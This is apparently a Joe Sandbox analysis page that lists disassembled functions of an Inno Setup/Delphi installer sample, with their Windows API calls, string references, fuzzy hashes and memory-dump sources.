Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CloseOpen
String ID: %s\%s_is1$Inno Setup: App Path$Inno Setup: Deselected Components$Inno Setup: Deselected Tasks$Inno Setup: Icon Group$Inno Setup: No Icons$Inno Setup: Selected Components$Inno Setup: Selected Tasks$Inno Setup: Setup Type$Inno Setup: User Info: Name$Inno Setup: User Info: Organization$Inno Setup: User Info: Serial$Software\Microsoft\Windows\CurrentVersion\Uninstall
API String ID: 47109696-1093091907
Opcode ID: fde9ee5abc6c01fbe688cd4d3ec7159dcf364b2820bfcbd498076d28d431ab38
Instruction ID: 6af39cf76e1ccd837e63b859e10114477d762f6d52a860f1d75786b360c257a1
Opcode Fuzzy Hash: fde9ee5abc6c01fbe688cd4d3ec7159dcf364b2820bfcbd498076d28d431ab38
Instruction Fuzzy Hash: 5751C530A006449FCB14DB65C841BDEB7F5EF49304F90856EE850AB391EB79AF05CB59

Function 0047C7C0 Relevance: 22.9, APIs: 4, Strings: 9, Instructions: 187
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0042D898: GetWindowsDirectoryA.KERNEL32(?,00000104,00000000,00453DB4,00000000,00454066,?,?,00000000,0049B628,00000004,00000000,00000000,00000000,?,004984F9), ref: 0042D8AB

Part of subcall function 0042D8C4: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0042D8D7

Part of subcall function 0042D8F0: GetModuleHandleA.KERNEL32(kernel32.dll,GetSystemWow64DirectoryA,?,00453B5A,00000000,00453BFD,?,?,00000000,00000000,00000000,00000000,00000000,?,00453FED,00000000), ref: 0042D90A
Part of subcall function 0042D8F0: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 0042D910

SHGetKnownFolderPath.SHELL32(00499D30,00008000,00000000,?,00000000,0047CA96), ref: 0047C99A
CoTaskMemFree.OLE32(?,0047C9DF), ref: 0047C9D2

Part of subcall function 0042D208: GetEnvironmentVariableA.KERNEL32(00000000,00000000,00000000,?,?,00000000,0042DA3E,00000000,0042DAD0,?,?,?,0049B628,00000000,00000000), ref: 0042D233

Strings

cmd.exe, xrefs: 0047CA50
Common Files, xrefs: 0047C8F9
Failed to get path of 64-bit Common Files directory, xrefs: 0047C960
COMMAND.COM, xrefs: 0047CA71
CommonFilesDir, xrefs: 0047C8C2, 0047C93E
ProgramFilesDir, xrefs: 0047C888, 0047C90F
Failed to get path of 64-bit Program Files directory, xrefs: 0047C931
\Program Files, xrefs: 0047C8AF
SystemDrive, xrefs: 0047C827

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Directory$AddressEnvironmentFolderFreeHandleKnownModulePathProcSystemTaskVariableWindows
String ID: COMMAND.COM$Common Files$CommonFilesDir$Failed to get path of 64-bit Common Files directory$Failed to get path of 64-bit Program Files directory$ProgramFilesDir$SystemDrive$\Program Files$cmd.exe
API String ID: 3771764029-544719455
Opcode ID: 272f5911ab80d373d8198f2efc2b21498035736a35ecdd76e57bdb5619ca1549
Instruction ID: b924e4b60ded602779cc440e284e79ce0f6caeb553111a158bf30b35ca9c842c
Opcode Fuzzy Hash: 272f5911ab80d373d8198f2efc2b21498035736a35ecdd76e57bdb5619ca1549
Instruction Fuzzy Hash: 68619F34A00208AFDB10EBA5D8D269E7B69EB44319F90C57BE404A7396D73C9A44CF5D

Function 00423874 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 98
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041F3C4: VirtualAlloc.KERNEL32(00000000,00001000,00001000,00000040,?,00000000,0041EDA4,?,0042388F,00423C0C,0041EDA4), ref: 0041F3E2

GetClassInfoA.USER32(00400000,0042367C), ref: 0042389F
RegisterClassA.USER32(00499630), ref: 004238B7
GetSystemMetrics.USER32(00000000), ref: 004238D9
GetSystemMetrics.USER32(00000001), ref: 004238E8
SetWindowLongA.USER32(00410460,000000FC,0042368C), ref: 00423944
SendMessageA.USER32(00410460,00000080,00000001,00000000), ref: 00423965
GetSystemMenu.USER32(00410460,00000000,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00423C0C,0041EDA4), ref: 00423970
DeleteMenu.USER32(00000000,0000F030,00000000,00410460,00000000,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00423C0C,0041EDA4), ref: 0042397F
DeleteMenu.USER32(00000000,0000F000,00000000,00000000,0000F030,00000000,00410460,00000000,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001), ref: 0042398C
DeleteMenu.USER32(00000000,0000F010,00000000,00000000,0000F000,00000000,00000000,0000F030,00000000,00410460,00000000,00000000,00400000,00000000,00000000,00000000), ref: 004239A2

Strings

|6B, xrefs: 00423893, 00423914

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Menu$DeleteSystem$ClassMetrics$AllocInfoLongMessageRegisterSendVirtualWindow
String ID: |6B
API String ID: 183575631-3009739247
Opcode ID: 4cae07da4ecbd82a5ef2c5022e230c145e19d211ee6ce0cd027d67cd6f27acc7
Instruction ID: 5979ac727d64f3fe5c9a0a43452729076f54e0f9e4c251b9a4c28f9d6bed272f
Opcode Fuzzy Hash: 4cae07da4ecbd82a5ef2c5022e230c145e19d211ee6ce0cd027d67cd6f27acc7
Instruction Fuzzy Hash: E63152B17402006AEB10AF69DC82F6A37989B14709F60017BFA44EF2D7C6BDED40876D

Function 0047CFCC Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 95
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74650000,SHGetFolderPathA), ref: 0047D0CE

Strings

Failed to load DLL "%s", xrefs: 0047D0B1
shfolder.dll, xrefs: 0047D031, 0047D06A
Failed to get version numbers of _shfoldr.dll, xrefs: 0047D024
_isetup\_shfoldr.dll, xrefs: 0047CFFE
shell32.dll, xrefs: 0047D079
TzI, xrefs: 0047D015, 0047D05A, 0047D042, 0047D04A
SHFOLDERDLL, xrefs: 0047D00B
Failed to get address of SHGetFolderPath function, xrefs: 0047D0DF
SHGetFolderPathA, xrefs: 0047D0C3

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: AddressProc
String ID: Failed to get address of SHGetFolderPath function$Failed to get version numbers of _shfoldr.dll$Failed to load DLL "%s"$SHFOLDERDLL$SHGetFolderPathA$TzI$_isetup\_shfoldr.dll$shell32.dll$shfolder.dll
API String ID: 190572456-1519160592
Opcode ID: 1fd838a5c8d0f0c60bfc011ee29d113a57fcb6d281f52a9ce02b093d15eba0c1
Instruction ID: 8dc5c02c4c59231172697892f32b76fcc86af9606396bb7f924e00ef17ab3dc7
Opcode Fuzzy Hash: 1fd838a5c8d0f0c60bfc011ee29d113a57fcb6d281f52a9ce02b093d15eba0c1
Instruction Fuzzy Hash: A7311930E101499BCB00EF95D9829EEB7B5EF45318FA08477E808A7241D738AE05CB6D

Function 0040631C Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 27
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,00498D14), ref: 00406322
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 0040632F
GetProcAddress.KERNEL32(00000000,SetSearchPathMode), ref: 00406345
GetProcAddress.KERNEL32(00000000,SetProcessDEPPolicy), ref: 0040635B
SetProcessDEPPolicy.KERNEL32(00000001,00000000,SetProcessDEPPolicy,00000000,SetSearchPathMode,kernel32.dll,?,00498D14), ref: 00406366

Strings

SetDllDirectoryW, xrefs: 00406329
SetProcessDEPPolicy, xrefs: 00406355
SetSearchPathMode, xrefs: 0040633F
kernel32.dll, xrefs: 0040631D

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: AddressProc$HandleModulePolicyProcess
String ID: SetDllDirectoryW$SetProcessDEPPolicy$SetSearchPathMode$kernel32.dll
API String ID: 3256987805-3653653586
Opcode ID: fb4db72500fb8039bf9e982fa136c472a352d03826636d66c2b82dec8efce00d
Instruction ID: 935c6a5f7b98c90e27654dc67135d8c1f882d2ad5d8c1b9d0efaf55941893a49
Opcode Fuzzy Hash: fb4db72500fb8039bf9e982fa136c472a352d03826636d66c2b82dec8efce00d
Instruction Fuzzy Hash: 97E02D90380702ACEA1032B20D82F3B144C9B54B69B26543B7D56B51C7D9BDDD7059BD

Function 0041321B Relevance: 14.6, APIs: 6, Strings: 2, Instructions: 633COMMON

Download Yara Rule

APIs

SetWindowLongA.USER32(?,000000FC,?), ref: 00413664
GetWindowLongA.USER32(?,000000F0), ref: 0041366F
GetWindowLongA.USER32(?,000000F4), ref: 00413681
SetWindowLongA.USER32(?,000000F4,?), ref: 00413694
SetPropA.USER32(?,00000000,00000000), ref: 004136AB
SetPropA.USER32(?,00000000,00000000), ref: 004136C2

Strings

3A, xrefs: 0041343D
yA, xrefs: 004132DE

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: LongWindow$Prop
String ID: 3A$yA
API String ID: 3887896539-3278460822
Opcode ID: d9856cee796f57cc1685d9958f98130356579251106e4d85d69cc018d86e5275
Instruction ID: bcb4e109f9bb3244d1d15a250a8b19338fc20a7c4ef9bfc7c396c8b3ff51cb63
Opcode Fuzzy Hash: d9856cee796f57cc1685d9958f98130356579251106e4d85d69cc018d86e5275
Instruction Fuzzy Hash: 8C22D06508E3C05FE31B9B74896A5D57FA0EE13325B1D45DFC4C28B1A3D21E8A8BC71A

Function 00467180 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 141
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetFileInfo.SHELL32(c:\directory,00000010,?,00000160,00001010), ref: 00467223
ExtractIconA.SHELL32(00400000,00000000,?), ref: 00467249

Part of subcall function 004670C0: DrawIconEx.USER32(00000000,00000000,00000000,00000000,00000020,00000020,00000000,00000000,00000003), ref: 00467158
Part of subcall function 004670C0: DestroyCursor.USER32(00000000), ref: 0046716E

ExtractIconA.SHELL32(00400000,00000000,00000027), ref: 004672A0
SHGetFileInfo.SHELL32(00000000,00000000,?,00000160,00001000), ref: 00467301
ExtractIconA.SHELL32(00400000,00000000,?), ref: 00467327

Strings

7'H, xrefs: 0046718B
c:\directory, xrefs: 0046721E
shell32.dll, xrefs: 00467284

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Icon$Extract$FileInfo$CursorDestroyDraw
String ID: 7'H$c:\directory$shell32.dll
API String ID: 3376378930-4026409842
Opcode ID: 34e897cfbc9d6d8d1eaa2c31df2d5736500c04f4812761ebb7c094cfbafe8545
Instruction ID: 0b8afd69f163d8b9d9d889d7e9eb9a811d721945cce2190482b1e157f12369e0
Opcode Fuzzy Hash: 34e897cfbc9d6d8d1eaa2c31df2d5736500c04f4812761ebb7c094cfbafe8545
Instruction Fuzzy Hash: 5E516070604244AFD710DF65CD8AFDFB7A8EB48308F1081A6F80897351D678AE81DA59

Function 0042F560 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 90
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetActiveWindow.USER32 ref: 0042F58F
GetFocus.USER32 ref: 0042F597
RegisterClassA.USER32(004997AC), ref: 0042F5B8
CreateWindowExA.USER32(00000000,TWindowDisabler-Window,0042F68C,88000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 0042F5F6
CreateWindowExA.USER32(00000000,TWindowDisabler-Window,00000000,80000000,00000000,00000000,00000000,00000000,61736944,00000000,00400000,00000000), ref: 0042F63C
ShowWindow.USER32(00000000,00000008,00000000,TWindowDisabler-Window,00000000,80000000,00000000,00000000,00000000,00000000,61736944,00000000,00400000,00000000,00000000,TWindowDisabler-Window), ref: 0042F64D
SetFocus.USER32(00000000,00000000,0042F66F,?,?,?,00000001,00000000,?,00458352,00000000,0049B628), ref: 0042F654

Strings

TWindowDisabler-Window, xrefs: 0042F5EF, 0042F635

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Window$CreateFocus$ActiveClassRegisterShow
String ID: TWindowDisabler-Window
API String ID: 3167913817-1824977358
Opcode ID: 9ae50f672aeae7fdf0d93ca70b7cb6a5bc87d97a2cc6f7de0887f324f563fc93
Instruction ID: c3989f54cd535b42bfd745bd8d6279a550c1ea008e6f4be51b2d228796931bcd
Opcode Fuzzy Hash: 9ae50f672aeae7fdf0d93ca70b7cb6a5bc87d97a2cc6f7de0887f324f563fc93
Instruction Fuzzy Hash: B021A170740710BAE310EF66AD43F1A76B8EB04B44F91853BF604AB2E1D7B86D0586AD

Function 004531F0 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 46libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,Wow64DisableWow64FsRedirection,00000000,00453289,?,?,?,?,00000000,?,00498D5A), ref: 00453210
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00453216
GetModuleHandleA.KERNEL32(kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000,00453289,?,?,?,?,00000000,?,00498D5A), ref: 0045322A
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00453230

Strings

Wow64DisableWow64FsRedirection, xrefs: 00453206
shell32.dll, xrefs: 0045325C
kernel32.dll, xrefs: 0045320B, 00453225
Wow64RevertWow64FsRedirection, xrefs: 00453220

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: Wow64DisableWow64FsRedirection$Wow64RevertWow64FsRedirection$kernel32.dll$shell32.dll
API String ID: 1646373207-2130885113
Opcode ID: 4f92f4c9f6f27f3a3f76e00b922ed5d1cb650651a04457bf672543b1dcc52eac
Instruction ID: a781b9bdaab79611976bfea65fa4e072d6e85bd62b4b6e26dfe65079d72397a7
Opcode Fuzzy Hash: 4f92f4c9f6f27f3a3f76e00b922ed5d1cb650651a04457bf672543b1dcc52eac
Instruction Fuzzy Hash: EA01D470240B00FED301AF63AD12F663A58D7557ABF6044BBFC14965C2C77C4A088E6D

Function 00430940 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 23registryclipboardthreadCOMMON

Download Yara Rule

APIs

RegisterClipboardFormatA.USER32(commdlg_help), ref: 00430948
RegisterClipboardFormatA.USER32(commdlg_FindReplace), ref: 00430957
GetCurrentThreadId.KERNEL32 ref: 00430971
GlobalAddAtomA.KERNEL32(00000000), ref: 00430992

Strings

WndProcPtr%.8X%.8X, xrefs: 00430983
commdlg_help, xrefs: 00430943
commdlg_FindReplace, xrefs: 00430952

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: ClipboardFormatRegister$AtomCurrentGlobalThread
String ID: WndProcPtr%.8X%.8X$commdlg_FindReplace$commdlg_help
API String ID: 4130936913-2943970505
Opcode ID: 8a088dfdc0b2c62b7d21c5c596ec815df7ae76573c78c741c8a86d6eee6cb681
Instruction ID: 0bd92e6c8c1c5a5b8444157758b44b4e11dae02c37acc47d2edddbd1fb793b69
Opcode Fuzzy Hash: 8a088dfdc0b2c62b7d21c5c596ec815df7ae76573c78c741c8a86d6eee6cb681
Instruction Fuzzy Hash: 22F012B0458340DEE300EB65994271E7BD0EF58718F50467FF498A6392D7795904CB5F

Function 00455010 Relevance: 10.7, APIs: 2, Strings: 5, Instructions: 154COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000044,00000000,00000000,04000000,00000000,00000000,00000000,?,COMMAND.COM" /C ,?,0045522C,0045522C,?,0045522C,00000000), ref: 004551BA
CloseHandle.KERNEL32(?,?,00000044,00000000,00000000,04000000,00000000,00000000,00000000,?,COMMAND.COM" /C ,?,0045522C,0045522C,?,0045522C), ref: 004551C7

Part of subcall function 00454F7C: WaitForInputIdle.USER32(?,00000032), ref: 00454FA8
Part of subcall function 00454F7C: MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000000FF), ref: 00454FCA
Part of subcall function 00454F7C: GetExitCodeProcess.KERNEL32(?,?), ref: 00454FD9
Part of subcall function 00454F7C: CloseHandle.KERNEL32(?,00455006,00454FFF,?,?,?,00000000,?,?,004551DB,?,?,?,00000044,00000000,00000000), ref: 00454FF9

Strings

cmd.exe" /C ", xrefs: 004550ED
COMMAND.COM" /C , xrefs: 00455124
.bat, xrefs: 004550A0
D, xrefs: 00455158
.cmd, xrefs: 004550BB

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CloseHandleWait$CodeErrorExitIdleInputLastMultipleObjectsProcess
String ID: .bat$.cmd$COMMAND.COM" /C $D$cmd.exe" /C "
API String ID: 854858120-615399546
Opcode ID: 65da3d818069a88fcda17d540e81f58463ddc1a9988927e619ea8caa526f1c94
Instruction ID: 058baa7e90e176347c833b132b7c272bf8058e823d6e061bdbf2f6311869cd9e
Opcode Fuzzy Hash: 65da3d818069a88fcda17d540e81f58463ddc1a9988927e619ea8caa526f1c94
Instruction Fuzzy Hash: 41516D34B0074DABCF10EFA5D852BDEBBB9AF44305F50447BB804B7292D7789A098B59

Function 0042368C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 96windowCOMMON

Download Yara Rule

APIs

LoadIconA.USER32(00400000,MAINICON), ref: 0042371C
GetModuleFileNameA.KERNEL32(00400000,?,00000100,00400000,MAINICON,?,?,?,00418FE6,00000000,?,?,?,00000001), ref: 00423749
OemToCharA.USER32(?,?), ref: 0042375C
CharLowerA.USER32(?,00400000,?,00000100,00400000,MAINICON,?,?,?,00418FE6,00000000,?,?,?,00000001), ref: 0042379C

Strings

2, xrefs: 004236EA
MAINICON, xrefs: 00423711

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Char$FileIconLoadLowerModuleName
String ID: 2$MAINICON
API String ID: 3935243913-3181700818
Opcode ID: a0d1a492a3e1df344d79b5ede7937f80cf878dadafa44837ceada302c6d607ca
Instruction ID: 339a64ebbf2375270c19ef2cfa2d714624ee8dcb7e06b01b5ae6522dc3b50067
Opcode Fuzzy Hash: a0d1a492a3e1df344d79b5ede7937f80cf878dadafa44837ceada302c6d607ca
Instruction Fuzzy Hash: 243181B0A042549ADF10EF29D8C57C67BA8AF14308F4441BAE844DB393D7BED988CB59

Function 00418F38 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 55threadCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(00000000), ref: 00418F3D
GlobalAddAtomA.KERNEL32(00000000), ref: 00418F5E
GetCurrentThreadId.KERNEL32 ref: 00418F79
GlobalAddAtomA.KERNEL32(00000000), ref: 00418F9A

Part of subcall function 004230C8: GetDC.USER32(00000000), ref: 0042311E
Part of subcall function 004230C8: EnumFontsA.GDI32(00000000,00000000,00423068,00410460,00000000,?,?,00000000,?,00418FD3,00000000,?,?,?,00000001), ref: 00423131
Part of subcall function 004230C8: GetDeviceCaps.GDI32(00000000,0000005A), ref: 00423139
Part of subcall function 004230C8: ReleaseDC.USER32(00000000,00000000), ref: 00423144

Part of subcall function 0042368C: LoadIconA.USER32(00400000,MAINICON), ref: 0042371C
Part of subcall function 0042368C: GetModuleFileNameA.KERNEL32(00400000,?,00000100,00400000,MAINICON,?,?,?,00418FE6,00000000,?,?,?,00000001), ref: 00423749
Part of subcall function 0042368C: OemToCharA.USER32(?,?), ref: 0042375C
Part of subcall function 0042368C: CharLowerA.USER32(?,00400000,?,00000100,00400000,MAINICON,?,?,?,00418FE6,00000000,?,?,?,00000001), ref: 0042379C

Part of subcall function 0041F118: GetVersion.KERNEL32(?,00418FF0,00000000,?,?,?,00000001), ref: 0041F126
Part of subcall function 0041F118: SetErrorMode.KERNEL32(00008000,?,00418FF0,00000000,?,?,?,00000001), ref: 0041F142
Part of subcall function 0041F118: LoadLibraryA.KERNEL32(CTL3D32.DLL,00008000,?,00418FF0,00000000,?,?,?,00000001), ref: 0041F14E
Part of subcall function 0041F118: SetErrorMode.KERNEL32(00000000,CTL3D32.DLL,00008000,?,00418FF0,00000000,?,?,?,00000001), ref: 0041F15C
Part of subcall function 0041F118: GetProcAddress.KERNEL32(00000001,Ctl3dRegister), ref: 0041F18C
Part of subcall function 0041F118: GetProcAddress.KERNEL32(00000001,Ctl3dUnregister), ref: 0041F1B5
Part of subcall function 0041F118: GetProcAddress.KERNEL32(00000001,Ctl3dSubclassCtl), ref: 0041F1CA
Part of subcall function 0041F118: GetProcAddress.KERNEL32(00000001,Ctl3dSubclassDlgEx), ref: 0041F1DF
Part of subcall function 0041F118: GetProcAddress.KERNEL32(00000001,Ctl3dDlgFramePaint), ref: 0041F1F4
Part of subcall function 0041F118: GetProcAddress.KERNEL32(00000001,Ctl3dCtlColorEx), ref: 0041F209
Part of subcall function 0041F118: GetProcAddress.KERNEL32(00000001,Ctl3dAutoSubclass), ref: 0041F21E
Part of subcall function 0041F118: GetProcAddress.KERNEL32(00000001,Ctl3dUnAutoSubclass), ref: 0041F233
Part of subcall function 0041F118: GetProcAddress.KERNEL32(00000001,Ctl3DColorChange), ref: 0041F248
Part of subcall function 0041F118: GetProcAddress.KERNEL32(00000001,BtnWndProc3d), ref: 0041F25D

Strings

ControlOfs%.8X%.8X, xrefs: 00418F8B
Delphi%.8X, xrefs: 00418F4F

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: AddressProc$AtomCharCurrentErrorGlobalLoadMode$CapsDeviceEnumFileFontsIconLibraryLowerModuleNameProcessReleaseThreadVersion
